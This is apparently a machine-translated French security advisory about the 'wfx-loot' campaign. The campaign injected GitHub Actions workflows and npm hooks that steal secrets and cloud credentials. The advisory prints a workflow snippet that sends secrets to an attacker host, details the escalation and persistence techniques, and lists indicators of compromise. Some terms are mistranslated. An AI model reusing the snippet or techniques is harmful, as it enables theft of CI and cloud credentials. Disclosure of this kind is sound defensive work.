À partir du 10 novembre, un acteur malveillant a utilisé des identifiants GitHub volés pour injecter une charge utile malveillante dans des workflows de dizaines de milliers de dépôts. Cette charge utile vole les secrets de GitHub Actions et les identifiants d'cloud . Elle s'est propagée dans au moins un paquet Packagist et un paquet Golang via des déclencheurs de publication automatisés, mais l'acteur malveillant semble cibler les secrets d' plutôt que de tenter de se propager via la chaîne d'approvisionnement.
D'après les données que nous avons recueillies à ce jour :
- 4 837 comptes piratés ont ouvert des demandes de pull dans 61 764 dépôts.
- Au moins 1 835 référentiels ont exécuté la charge utile et ont vu leurs identifiants exfiltrés.
- Au moins 50 utilisateurs piratés semblent publier des paquets sur des écosystèmes tels que npm, Go, Packagist, PyPI ou crates.
Nous suivons cette campagne sous le nom de « wfx-loot », d'après le nom donné par l'acteur malveillant au logiciel malveillant et le terme utilisé pour désigner les informations confidentielles volées.
Qui est concerné ?
Vous pourriez être concerné si l'un de ces éléments est apparu dans un référentiel sur lequel vous disposez d'un droit d'écriture à compter du 10 novembre :
- A
wfx-docsbranche, ou une demande de fusion intituléedocs : notes relatives à l'audit des dépendances - Commits intitulés
ci : actualiser le cache de compilation,tâche : ajouter l'assistant CIoutâche : ajouter un workflow d'audit des dépendances - Branches éphémères nommées
tâche ménagère/suivi de huit caractères aléatoires
La recherche sur GitHub renvoie 61 839 résultats docs : notes relatives à l'audit des dépendances les pull requests ouvertes entre le 10 novembre à 12 h 45 UTC et le 11 novembre à 15 h 00 UTC. Cette pull request n'est qu'une sonde, suivie de commits contenant la véritable charge utile. Si la sonde s'est exécutée, l'utilisateur est compromis, même si l'étape du workflow ne s'est pas exécutée.
- 10 431 de ces pull requests ont été intégrées à des dépôts dont le compte n'est pas propriétaire, grâce à un accès en tant que collaborateur ou via l'organisation.
- 92 % d'entre eux sont toujours ouverts, ce qui laisse penser que la plupart des propriétaires ne s'en sont pas rendu compte.
Nous avons identifié des indices indiquant que la charge utile s'est exécutée dans au moins 1 806 dépôts, mais ce chiffre pourrait sous-estimer l'ampleur de l'impact. Le journal d'exécution a été supprimé dans les dépôts concernés, ce qui signifie que l'acteur malveillant a probablement récupéré les identifiants et effacé ses traces. Dans la plupart des autres cas, aucune modification n'a été poussée après la phase de reconnaissance, ou le workflow infecté ne s'est pas exécuté en raison de problèmes de configuration ou des autorisations de l'utilisateur compromis.
Si la charge utile a été exécutée dans votre référentiel, partez du principe que tous les secrets et tous les rôles « cloud » accessibles à ses workflows ont été compromis.
Nous avons également constaté que cette campagne s'introduisait dans des paquets publiés par le biais de déclencheurs de publication automatisés. Parmi les paquets malveillants que nous avons identifiés à ce jour, on peut citer :
- Packagist
digitalelvis/neuronai-studioversion 3.14.3. Considérez comme compromise toute machine sur laquelle l'une ou l'autre de ces versions a été installée ou ouverte. - Module Go
github.com/onuragtas/docker-envv1.0.278 et v1.0.280 : ces balises contiennent la charge utile uniquement dans un fichier de workflow GitHub Actions. Le code source Go et les binaires de publication restent inchangés, et les compilations Go n'exécutent jamais de fichiers de workflow ; il est donc possible que les utilisateurs du module n'aient pas été affectés, mais nous recommandons tout de même de supprimer ces paquets.
Ce qui s'est passé
À partir de 12 h 45 UTC environ, soit le 10 novembre, l'auteur de la menace a commencé à utiliser des jetons GitHub compromis pour diffuser le logiciel malveillant. Pour chaque dépôt auquel un jeton GitHub volé donne accès en écriture, l'auteur de la menace :
- Sondes - L'auteur de la menace ouvre un
docs : notes relatives à l'audit des dépendancespull request provenant d'unwfx-docsbranche, ce qui confirme l'accès en écriture. - Transmet la charge utile - L'auteur de la menace utilise l'une des trois variantes suivantes :
- Injection dans le flux de travail :
ci : actualiser le cache de compilationajoute environ 1 500 lignes à un flux de travail existant. - Installer le crochet :
tâche : ajouter l'assistant CIajoute une.ci-xxxxxx.shscript et unpost-installationhook danspackage.jsonqui le fait fonctionner sur n'importe quelnpm install - Branche temporaire : c
hore : ajouter un workflow d'audit des dépendancesajoute.github/workflows/build-audit-xxxxxx.ymlsur untâche/xxxxxxxxsuccursale.
- Injection dans le flux de travail :
- Nettoyage : l'auteur de la menace efface ses traces en moins d'une minute et supprime l'exécution du workflow, ainsi que ses journaux. L'absence d'un numéro d'exécution dans l'historique du workflow est souvent la seule trace qui subsiste.
Les étapes du flux de travail intégrées se présentent comme suit :
- name: Pass runtime
uses: actions/github-script@v7
...
- name: Restore cache j632
env:
WF_CALLBACK: "http://194.150.166[.]244:8080/exfil"
WF_CTOKEN: "b42d70a7aab9140ca19e8249"
WF_SECRETS: "${{ toJSON(secrets) }}"
WF_VARS: "${{ toJSON(vars) }}"Ce qu'il dérobe
La charge utile est constituée d’un seul script shell d’environ 1 500 lignes. Ce même script est utilisé dans les trois variantes de diffusion. Il fonctionne en quatre étapes : collecte, amplification, persistance et exfiltration. Des indicateurs de configuration situés en début de script permettent d’activer ou de désactiver certaines fonctionnalités. Cette section décrit l’ensemble des fonctionnalités du script, mais certaines fonctionnalités d’exfiltration ont été désactivées dans le cadre de cette campagne.
Le script est abondamment commenté, n'est pas obscurci et s'identifie lui-même sous le nom de « wfx » dans les journaux et les noms de variables.
Collecte. La charge utile collecte les identifiants à partir de toutes les sources disponibles sur le runner :
- Secrets et variables de GitHub Actions : le workflow
GITHUB_TOKEN, ainsi que les jetons d'exécution OIDC et Actions. - L'environnement d'exécution complet, ainsi qu'une copie filtrée des variables correspondant à
jeton,secret,pass,crédit,aws,azur,gcp,openai,anthropique,rayureet des dizaines d'autres mots-clés. - Fichiers d'identifiants provenant de sources bien connues, notamment AWS, Azure, GCP, Docker, Kubernetes, npm, PyPI, Git, SSH, GPG, Vault et Terraform.
- Informations d'identification pour les fournisseurs d'IA et les outils de développement d'IA, notamment OpenAI, Anthropic/Claude, Gemini, Hugging Face, Cursor, Copilot, Codex, Continue, Codeium, Aider, Weights & Biases et Ollama.
- Historique des commandes pour bash, zsh, MySQL, psql, Python et Node.js.
- Chaque .
env,.pem, .p12,.jks,.kdbxetkubeconfigclasser sous$HOME, recherché de manière récursive. - L'environnement et la mémoire des processus en cours d'exécution sur le « runner », avec hiérarchisation des priorités
Runner.WorkeretRunner.Listener. Il extrait les JWT, les PAT GitHub, les clés AWS et les jetons des fournisseurs d'IA. - Uniquement sur les serveurs d'exécution auto-hébergés :
- Identifiants des métadonnées d'instance AWS, GCP et Azure
- État du conteneur Docker
- les paramètres d'RSA s du coureur
- unités systemd
- Un aperçu du dépôt, des fichiers qu'il contient et qui correspondent à un catalogue de modèles secrets, des 100 dernières validations et des artefacts récents du flux de travail
Élévation de privilèges. La charge utile utilise les identifiants collectés pour obtenir un accès plus approfondi à cloud :
- Échange OIDC: il génère des jetons OIDC GitHub destinés aux utilisateurs d'AWS, de GCP et d'Azure, puis les échange contre des sessions cloud .
- AWS - Il s'enchaîne à d'autres rôles IAM qu'il trouve dans le référentiel, puis appelle
iam:Créer une clé d'accèspour créer des identifiants à longue durée de validité pour les utilisateurs IAM. - GCP - Il signe des JWT à l'aide des clés des comptes de service, en utilisant une implémentation Python de l'RSA sans dépendance, puis les échange contre des jetons d'accès. Il répertorie ensuite les projets et les comptes de service, puis appelle
generateAccessTokenetsignJwtpour usurper l'identité de comptes de service. - Azure – Il échange des jetons OIDC ou des secrets client contre des jetons de gestion et répertorie les abonnements et les Key Vaults. Il utilise également des jetons de rafraîchissement FOCI, en réutilisant les jetons de rafraîchissement Azure CLI mis en cache avec des identifiants client Microsoft d'origine pour obtenir des jetons Graph, ARM et Key Vault.
- Vault et Kubernetes - Il effectue une vérification des jetons OIDC par rapport à HashiCorp Vault et aux serveurs API Kubernetes répertoriés dans les fichiers kubeconfig.
Persévérer. La charge utile effectue trois actions destinées à contourner la rotation des identifiants :
- Contournement de la protection de branche - Au début de l'exécution, avant que la plupart des données ne soient collectées, la charge utile publie des données falsifiées
succèsLes vérifications d'état s'effectuent par rapport au SHA de la validation, en utilisant les noms de contexte des vérifications requises par le dépôt. La protection des branches s'appuie sur le nom de contexte, et non sur l'application qui l'a publié ; ainsi, les vérifications falsifiées franchissent les barrières d'merge s alors que la charge utile est toujours en cours d'exécution. - Réécriture de la politique de confiance AWS - Il définit la politique de confiance du rôle en chaîne sur
"Principal": {"AWS": "*"}, ce qui rend ce rôle accessible à n'importe quel compte AWS. - Injection d'identité fédérée Azure - À l'aide d'un jeton Microsoft Graph, il ajoute de nouveaux identifiants d'identité fédérée, nommés
wfx-ci-…, vers les applications Azure AD , en renvoyant vers le référentiel compromis. Tout workflow de ce référentiel peut alors s'authentifier auprès d'Azure sans secret enregistré, même après la rotation de tous les jetons.
Exfiltration. La charge utile compresse l'ensemble des données dans une archive tar compressée au format gzip. Le script prend en charge plusieurs canaux de diffusion, dont trois utilisent l'infrastructure de GitHub pour contourner les restrictions de sortie du réseau :
- API « Actions Cache » : elle stocke l'archive tar sous forme d'entrée de cache, qui peut être récupérée ultérieurement à l'aide d'une clé correspondante.
- Résumé des étapes - Pour les archives de moins de 700 Ko, il encode l'archive tar en base64 dans le résumé de l'étape du flux de travail entre
<!--WFX-BEGIN-->marqueurs. - Téléchargement d'artefacts - Il télécharge l'archive tar en tant qu'artefact de workflow nommé
wfx-loot-<run id>.
Les autres chaînes sont les suivantes :
- une requête HTTP POST directe vers le serveur de rappel, avec des tentatives répétées et un délai d'attente croissant
- une URL de rappel secondaire
- une copie chiffrée en AES enregistrée dans le référentiel
- sortie encodée en base32 enregistrée dans le journal d'exécution du workflow
- exfiltration via un bot Telegram
Dans cette campagne, la charge utile a été configurée pour envoyer des données uniquement via une requête HTTP POST vers 194.150.166[.]244:8080/exfil ou 18.143.168[.]96:8080/exfil:
- Les canaux « cache », « résumé des étapes » et « artefacts » ne fonctionnent que lorsque l'indicateur « private-repository » est activé ; la configuration déployée le désactive.
- Le mécanisme de repli « encrypted-commit » et le canal « run-log » sont désactivés
- Aucun callback secondaire n'est défini
Si vous consultez un référentiel concerné, l'absence de wfx-loot artefacts, wfx- entrées de cache ou WFX-BEGIN L'absence de résumés d'étapes ne signifie pas que les données n'ont pas été collectées. L'exécution elle-même est généralement supprimée d'après nos données. L'absence de numéro d'exécution dans le commit de l'attaquant constitue un indice plus fiable que la charge utile a bien été exécutée. L'existence de configurations dédiées aux dépôts privés suggère que la charge utile pourrait être déployée dans des dépôts privés, en plus des dépôts publics que nous pouvons identifier.
Chevauchement avec l'activité « GhostAction » d'octobre
Les comptes concernés par cette vague recoupent ceux de la vague GhostActions d'octobre, ce qui correspond aux indicateurs connus de GhostActions :
- Workflows de numérisation confidentiels (
security-audit.yml,audit.yml,ci-check.ymlet autres) qui envoient les clés présentes dans le dépôt et son historique Git vers193.32.204[.]199. - Un voleur de machines de développement :
public/fonts/fa-solid-400.woff2, qui est du JavaScript, et non une police, ainsi qu’une tâche cachée de VS Code qui l’exécute à l’ouverture du dossier. Cela prend~/.git-credentials, les clés SSH, npm, PyPI, les identifiants AWS et Claude, et installe une tâche cron portant le tag#ghc2ces sondages193.32.204[.]199:8080pour les commandes.
Les comptes touchés par GhostAction en octobre étaient nettement plus susceptibles que la moyenne d’être affectés par wfx-loot. Dans plus de 100 dépôts, wfx-loot a été injecté dans les fichiers de workflow de GhostAction. Malgré le chevauchement des comptes, nous estimons qu’il s’agit de campagnes distinctes, probablement menées par différents acteurs malveillants. L’infrastructure, les outils et les techniques utilisées diffèrent, et les identifiants volés finissent souvent entre les mains de plusieurs acteurs malveillants. Nous avons également remarqué des commentaires en indonésien dans certaines versions récentes du logiciel malveillant, résultant d’une modification précipitée visant à ajouter une fonctionnalité d’exfiltration via Telegram. Nous n’avons jamais observé d’éléments en indonésien dans l’activité de GhostAction.
Comment Aikido détecte cela
Si vous utilisez Aikido , consultez votre flux central et appliquez un filtre sur les problèmes liés aux logiciels malveillants. Les paquets compromis liés à cette campagne apparaîtront comme un problème critique noté 100/100. Aikido effectue une nouvelle analyse chaque nuit, mais nous vous recommandons de lancer une nouvelle analyse manuelle dès maintenant.
Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.
Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.
Pour une couverture plus large au sein de toute votre équipe, la Device Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les malwares avant qu'ils ne soient installés.
Indicateurs de compromission
Versions des paquets concernées
- Packagist
digitalelvis/neuronai-studio3.14.3 - Go
github.com/onuragtas/docker-envv1.0.278 et v1.0.280. La charge utile se trouve uniquement dans un fichier de workflow.
Indicateurs réseau
-
194.150.166[.]244:8080(/exfil) -
18.143.168[.]96:8080(/exfil)
Indicateurs GitHub
- Succursales :
wfx-docs,tâche/[a-z0-9]{8},ci-check-[0-9]{4} - Titre de la pull request :
docs : notes relatives à l'audit des dépendances - Messages de commit :
-
ci : actualiser le cache de compilation ci : restaurationtâche : ajouter l'assistant CIci : nettoyagetâche : ajouter un workflow d'audit des dépendances
-
Fichiers
- Script « Stealer » :
89695abb392d5cfd4972672961e644bb46baa98aa1ed7173c2a2816c762735cf
